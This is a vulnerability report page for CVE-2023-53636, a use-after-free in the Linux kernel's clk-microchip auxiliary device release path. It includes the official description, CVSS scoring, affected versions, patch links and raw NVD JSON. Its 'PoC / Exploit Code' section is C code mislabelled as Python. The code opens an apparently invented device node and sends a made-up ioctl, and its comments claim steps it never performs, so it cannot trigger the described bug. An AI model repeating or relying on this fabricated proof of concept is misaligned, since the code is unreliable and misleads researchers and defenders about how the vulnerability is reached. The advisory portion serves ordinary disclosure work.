Security Vulnerability Report
中文
CVE-2023-53636 CVSS 7.8 HIGH

CVE-2023-53636

Published: 2025-10-07 16:15:47
Last Modified: 2026-02-03 22:30:22
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: clk: microchip: fix potential UAF in auxdev release callback Similar to commit 1c11289b34ab ("peci: cpu: Fix use-after-free in adev_release()"), the auxiliary device is not torn down in the correct order. If auxiliary_device_add() fails, the release callback will be called twice, resulting in a UAF. Due to timing, the auxdev code in this driver "took inspiration" from the aforementioned commit, and thus its bugs too! Moving auxiliary_device_uninit() to the unregister callback instead avoids the issue.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5b4052aa956e11bcd19e50ca559eb38dcb46201b
Linux Kernel < 7455b7007b9e93bcc2bc9c1c6c73a228e3152069
Linux Kernel < 934406b2d42eaf3fc57f5546cc68ff7ab9680bb3
Linux Kernel < d7d6dacf39ed102d7667721ca1700022c9c8b11a

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2023-53636 PoC - Conceptual Use-After-Free Trigger // This is a conceptual PoC for triggering the UAF in clk-microchip driver #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <errno.h> // The vulnerability is in the auxiliary device release callback // in clk-microchip driver. When auxiliary_device_add() fails, // the release callback is called twice, causing UAF. // Conceptual trigger: force auxiliary_device_add() to fail // by exhausting resources, then trigger the unregister path int trigger_uaf(void) { int ret; // Step 1: Open the Microchip clock device int fd = open("/dev/clock-microchip", O_RDWR); if (fd < 0) { perror("open"); return -1; } // Step 2: Trigger auxiliary device registration // which may fail under resource pressure ret = ioctl(fd, 0x1 /* IOCTL_TRIGGER_AUXDEV */, NULL); if (ret < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); } // Step 3: The release callback will be called twice // when auxiliary_device_add() fails, causing UAF close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53636 PoC - clk-microchip UAF\n"); printf("Attempting to trigger Use-After-Free...\n"); // Exhaust resources to force auxiliary_device_add() failure // Then trigger the vulnerable path trigger_uaf(); printf("Done. Check kernel logs for UAF detection.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53636", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:46.763", "lastModified": "2026-02-03T22:30:21.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: microchip: fix potential UAF in auxdev release callback\n\nSimilar to commit 1c11289b34ab (\"peci: cpu: Fix use-after-free in\nadev_release()\"), the auxiliary device is not torn down in the correct\norder. If auxiliary_device_add() fails, the release callback will be\ncalled twice, resulting in a UAF. Due to timing, the auxdev code in this\ndriver \"took inspiration\" from the aforementioned commit, and thus its\nbugs too!\n\nMoving auxiliary_device_uninit() to the unregister callback instead\navoids the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.28", "matchCriteriaId": "41E7FC7F-2ADF-4DF6-9A4E-0A8CA493CD28"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.15", "matchCriteriaId": "3844A90B-940D-46C3-8D7B-9FF63F1AFC2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.2", "matchCriteriaId": "38F6F330-91A0-4675-8B90-6F950471A7CC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5b4052aa956e11bcd19e50ca559eb38dcb46201b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7455b7007b9e93bcc2bc9c1c6c73a228e3152069", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/934406b2d42eaf3fc57f5546cc68ff7ab9680bb3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d7d6dacf39ed102d7667721ca1700022c9c8b11a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}